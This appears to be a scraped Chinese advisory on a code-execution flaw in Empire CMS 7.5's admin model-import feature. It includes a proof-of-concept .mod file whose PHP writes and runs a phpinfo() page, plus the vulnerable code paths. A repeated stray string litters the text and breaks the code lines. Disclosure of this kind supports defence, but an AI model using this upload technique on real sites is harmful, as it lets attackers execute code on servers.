帝国cms7.5后台导入系统模型处存在代码执行漏洞

在后台导入系统模型时,未做验证,导致上传的文件内容会被执行。

漏洞简介:

在后台导入系统模型时,未做验证,导致上传的文件内容会被执行。

漏洞影响版本:

Empire CMS <= V7.5lS3ECMSPLUS
lS3ECMSPLUS
lS3ECMSPLUS
1、点击系统---数据表与系统模型---管理数据包---导入系统模型lS3ECMSPLUS
lS3ECMSPLUS
lS3ECMSPLUS
2、新建一个test.php.mod文件,内容为lS3ECMSPLUS
lS3ECMSPLUS
<?phplS3ECMSPLUS
file_put_contents("test.php","<?php phpinfo(); ?>");lS3ECMSPLUS
?>lS3ECMSPLUS
lS3ECMSPLUS
然后上传在模型文件(只有显示“导入模型成功”才实现了文件的导入):lS3ECMSPLUS
lS3ECMSPLUS
lS3ECMSPLUS
lS3ECMSPLUS
3、访问URL:/e/admin/test.php即可实现命令的执行lS3ECMSPLUS
lS3ECMSPLUS
lS3ECMSPLUS
4、服务器端查看上传的文件内容lS3ECMSPLUS
 

漏洞原理分析

lS3ECMSPLUS
1、\e\admin\ecmsmod.php导入模型

 lS3ECMSPLUS

lS3ECMSPLUS

lS3ECMSPLUS
2、跟随LoadInMod函数来到\e\class\moddofun.phplS3ECMSPLUS
 
3、上传之后下面用include进行包含一次,即执行一次上传php代码。即在\e\admin\目录下生成一个test.php

分享到 :
相关推荐

发表评论

登录... 后才能评论

评论(3)

加入本站VIP会员订阅计划,海量资源免费下载查看

目前为止共有3位优秀的VIP会员加入!

立即加入VIP会员